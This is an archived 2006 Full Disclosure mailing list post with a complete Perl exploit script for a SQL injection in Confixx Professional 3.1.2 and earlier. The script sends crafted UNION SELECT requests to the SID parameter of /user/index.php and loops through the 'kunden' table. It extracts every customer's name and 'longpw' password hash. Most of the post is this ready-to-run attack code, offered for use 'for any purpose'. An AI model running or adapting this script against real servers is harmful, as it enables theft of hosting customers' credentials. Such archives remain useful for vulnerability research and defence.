Home page logo
/

fulldisclosure logo Full Disclosure mailing list archives

Re: Confixx Index.PHP SQL Injection Vulnerability (Exploit - not new vuln)
From: defa <defa () systemli org>
Date: Wed, 19 Apr 2006 18:02:18 +0200

sry - i know this isn't a cvs repository here -

but the code posted yesterday was written after some 'b33r' an i made it looking
a little less drunk this morning.

bye
defa

----BOF----
#!/usr/bin/perl

######################################################################## ######## # # # exploit for confixx professional <= 3.1.2 # # # # the vulerability was discovered by: LoK Crew # # references: http://www.securityfocus.com/bid/ 17476 # # # # exploit can be used for any purpose but on own risk # # # # (c) by defa - sorry for the crappy code # # # # url is just the host - directory is $url/user/index.php by default # # the exploit just fetches the longpw hashes of alle users # # # # parts of the code are stolen from RuSH exploits - thanks a lot folks # ######################################################################## ########

use IO::Socket;

if (@ARGV < 1)
{
        print q(
                exploit by defa (2006)
                =========================
                confixx_exploit.pl [URL]
                
                params:
                [URL] - server url
                
                example: confixx_exploit.pl 127.0.0.1
        );
        exit;
}

$serv  = $ARGV[0];
$serv =~ s/(http:\/\/)//eg;

for ($i=0;$i<=100;$i++)
{
$hit = 0;
$url = "http://";;
$url .= $serv;
$url .= "/user/index.php?SID=1'%20AND%200=1%20UNION%20SELECT%20CONCAT";
$url .= "('_error|s:',length(longpw)%2Blength(kunde)%2B11,':%22','HIT: %20',"; $url .= "kunde,'%20:%20',longpw,'%20:%20','%22;')%20AS%20'sdata'% 20FROM%20";
$url .= "kunden%20LIMIT%20";
$url .= "$i,1/*";

$socket = IO::Socket::INET->new(
        Proto => "tcp",
        PeerAddr => $serv,
        PeerPort => "80") || die "[-] CONNECT FAILED\r\n";


print  $socket "GET $url HTTP/1.1\n";
print  $socket "Host: $serv\n";
print  $socket 'User-Agent: confixx_exploit'."\n";
print $socket "Connection: close\n\n";
while ($answer = <$socket>)
{
        if ($answer =~ /<p>HIT:/)
        {
                @result = split(/: /,$answer);
        
                print "$result[1]: $result[2]\n";
                $hit = 1;
        }

}
if ($hit == 0) {die("that's it");}
}

----EOF----
--
don't eat yellow snow



_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault